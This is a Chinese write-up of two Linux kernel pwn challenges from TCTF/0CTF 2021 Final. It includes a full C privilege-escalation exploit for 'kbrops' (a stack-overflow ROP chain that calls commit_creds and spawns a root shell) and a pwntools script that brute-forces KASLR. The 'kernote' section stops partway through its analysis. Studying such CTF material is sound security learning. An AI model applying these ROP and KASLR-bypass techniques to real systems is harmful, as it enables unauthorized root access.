行业新闻

TCTF/0CTF 2021-FINAL 两道 kernel pwn 题解

TCTF/0CTF 2021-FINAL 两道 kernel pwn 题解

 

0x00.一切开始之前

官方题解见此处

前些日子打了 TCTF 2021 FINAL,其中刚好有两道 Linux kernel pwn 题,笔者在比赛期间没有多少头绪,而这两道题在新星赛中也是全场零解

笔者最近趁有时间把这两道题复现了一下,其中的 kernote 是一道质量十分不错的 kernel UAF,感兴趣的可以抽空复现一下

 

0x01.kbrops

签到题难度都算不上,但是需要一点小小的运气…

一、题目分析

保护

查看 /sys/devices/system/cpu/vulnerabilities/

开启了 KPTI(内核页表隔离,一般简称页表隔离(PTI),笔者更喜欢用全称)

查看启动脚本

#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 300 qemu-system-x86_64 \
    -m 256M \
    -enable-kvm \
    -cpu host,+smep,+smap \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -nographic \
    -monitor none \
    -drive file=flag.txt,format=raw \
    -snapshot \
    -append "console=ttyS0 kaslr kpti quiet oops=panic panic=1"

开了 smap、smep、kaslr 保护

在这里并没有像常规的 kernel pwn 那样把 flag 权限设为 root 600 放在文件系统里,而是将 flag 作为一个设备载入,因此我们需要读取 /dev/sda 以获取 flag,仍然需要 root 权限

逆向分析

整个程序只定义了一个 ioctl 的 0x666 功能,会取我们传入的前两个字节作为后续拷贝的 size,之后 kmalloc 一个 object,从我们传入的第三个字节开始拷贝,之后再从 object 拷贝到栈上,因为两个字节最大就是 0xffff,所以这里直接就有一个裸的栈溢出

二、漏洞利用

既然目前有了栈溢出,而且没有 stack canary 保护,比较朴素的提权方法就是执行 commit_creds(prepare_kernel_cred(NULL)) 提权到 root,但是由于开启了 kaslr,因此我们还需要知道 kernel offset,但是毫无疑问的是只有一个裸的溢出是没法让我们直接泄漏出内核中的数据的

这里 r3kapig 给出的解法是假装他没有这个 kaslr,然后直接硬打,据称大概试个几百次就能成功

赛后在 discord 群组中讨论,得知 kaslr 的随机化只有 9位,可以直接进行爆破

笔者写了个爆破偏移用的 exp :

#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#define PREPARE_KERNEL_CRED 0xffffffff81090c20
#define COMMIT_CREDS 0xffffffff810909b0
#define POP_RDI_RET 0xffffffff81001619
#define SWAPGS_RET 0xffffffff81b66d10
#define IRETQ_RET 0xffffffff8102984b
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0Xffffffff81c00df0

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
}

int main(int argc, char ** argv, char ** envp)
{
    char    *buf;
    size_t  *stack;
    int     i;
    int     chal_fd;
    size_t  offset;

    offset = (argv[1]) ? atoi(argv[1]) : 0;
    saveStatus();
    buf = malloc(0x2000);
    memset(buf, 'A', 0x2000);
    i = 0;

    stack = (size_t*)(buf + 0x102);
    stack[i++] = *(size_t*)"arttnba3";                 // padding
    stack[i++] = *(size_t*)"arttnba3";                 // rbp
    stack[i++] = POP_RDI_RET + offset;
    stack[i++] = 0;
    stack[i++] = PREPARE_KERNEL_CRED + offset;
    stack[i++] = COMMIT_CREDS + offset;
    stack[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
    stack[i++] = 0;
    stack[i++] = 0;
    stack[i++] = (size_t) getRootShell;
    stack[i++] = user_cs;
    stack[i++] = user_rflags;
    stack[i++] = user_sp;
    stack[i++] = user_ss;
    ((unsigned short *)(buf))[0] = 0x112 + i * 8;

    chal_fd = open("/proc/chal", O_RDWR);
    ioctl(chal_fd, 0x666, buf);

    return 0;
}

这里 ROP 链布局中 prepare_kernel_cred 后直接就到 commit_creds 是因为经过笔者调试发现在执行完 prepare_kernel_cred 后此时的 rax 与 rdi 都指向 root cred,因此不需要再 mov rdi, rax

打远程用的脚本:

from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = process('./run.sh')#remote("127.0.0.1", 1234)
try_count = 1
while True:
    log.info("no." + str(try_count) + " time(s)")
    p.sendline()
    p.recvuntil("~ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> b64_exp")
        count += 1

    for i in range(count):
        p.recvuntil("~ $")

    p.sendline("cat b64_exp | base64 -d > ./exploit")
    p.sendline("chmod +x ./exploit")
    randomization = (try_count % 1024) * 0x100000
    log.info('trying randomization: ' + hex(randomization))
    p.sendline("./exploit " + str(randomization))
    if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=60):
        break
    log.warn('failed!')
    try_count += 1

log.success('success to get the root shell!')
p.interactive()

运气好的话可以很快拿到 flag,大概只需要爆破几百次左右

 

0x02.kernote

一、题目分析

这一题的题解笔者主要还是参照着官方的题解来写的,是本场比赛中给笔者带来收获最大的一道 kernel pwn 题

文件系统

与一般的 kernel pwn 题不同的是,这一次给出的文件系统不是简陋的 ramfs 而是常规的 ext4 镜像文件,我们可以使用 mount 命令将其挂载以查看并修改其内容

$ sudo mount rootfs.img /mnt/temp

本地调试时直接将文件复制到挂载点下即可,不需要额外的重新打包的步骤

保护

我们首先查看题目提供的 README.md

Here are some kernel config options in case you need it

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

我们可以看到的是出题人在编译内核时并没有选择默认的 slub 分配器,而是选择了 slab 分配器,后续我们解题的过程也与 slab 的特征有关

  • 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
  • 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
  • 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等
  • 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

接下来分析启动脚本

#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot \
-s
  • 开启了 SMAP & SMEP(用户空间数据访问(access)、执行(execute)保护)
  • 开启了 KASLR(内核地址空间随机化)
  • 开启了 KPTI(内核页表隔离)

逆向分析

题目给出了一个内核模块 kernote.ko,按惯例这便是存在漏洞的内核模块

拖入 IDA 进行分析,不能看出是常见的内核菜单堆形式,只定义了 ioctl且加了

关闭